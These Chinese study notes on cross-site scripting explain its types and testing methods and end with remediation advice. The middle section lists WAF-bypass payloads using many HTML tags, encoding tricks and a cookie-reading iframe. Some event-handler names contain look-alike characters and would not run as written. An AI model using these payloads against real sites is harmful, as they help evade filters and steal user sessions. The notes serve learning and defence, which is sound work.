目录
1.XSS原理
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之 时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层 面的攻击!
2.XSS分类
反射型XSS:
攻击者将恶意代码注入到 Web 页面的 URL 参数中,然后通过诱导用户点击该链接来触发执行恶意代码。
非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中
----------搜索框
存储型XSS:
攻击者将恶意代码注入到 Web 页面的数据库中,并在用户访问该页面时触发执行恶意代码。
持久性跨站脚本,XSS 代码不是在某个参数(变量)中,而是写进数据库或 文件等可以永久保存数据的介质中。------------------------留言板
DOM-XSS:
攻击者将恶意代码注入到 Web 页面的 JavaScript 中,然后在用户访问该页面时触发执行恶意代码。
修改受害者浏览器页面的DOM 树而执行的。并不会传到服务器上
3.XSS 漏洞的验证
(1)scriptalert(/xss/)/script
(2)scriptconfirm('xss')/script
(3)scriptprompt('xss')/script
4.XSS漏洞的黑盒测试
URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
5.XSS漏洞的白盒测试
PHP中常见的接收参数的方式有$GET、$POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后 对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库 中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过 滤,能否绕过等等
6.WAF绕过
常见WAF绕过的标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
绕过方法
可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过
绕过方法有很多比如:
大小写绕过
javascript伪协议
没有分号
Flash
HTML5 新标签
Fuzz进行测试
双层标签绕过
audio标签
<audio src=x οnerrοr=alert(47)>
<audio src=x οnerrοr=prompt(1);>
<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
video标签
<video src=x οnerrοr=prompt(1);>
<video src=x οnerrοr=alert(48)>
div标签
<div style="width:expression(alert(/1/))">1</div> 浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
button标签
<button οnfοcus=alert(1) autofocus>
<button/οnclick=alert(1) >xss</button>
keygen标签
<keygen/οnfοcus=prompt(1);>
<keygen οnfοcus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解码:<script>alert(1)</script>
iframe标签
<iframe width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fiframe>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"><iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
7.修复建议
代码层面
在服务端进行输入验证(输入验证):服务器后端进行输入验证,包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。
数据输出实体编码(输出编码):输出编码手段主要有3种编码:URL编码、HTML编码和JavaScript编码。
其他层面
避免内敛事件:尽量不要使用
onLoad="onload('{{data}}')"
、onClick="go('{{action}}')"
这种拼接内联事件的写法。在 JavaScript 中通过.addEventlistener()
事件绑定会更安全。避免拼接 HTML:前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
使用CSP:Content Security Policy:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;禁止内联脚本执行;禁止未授权的脚本执行。
使用httponly:HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。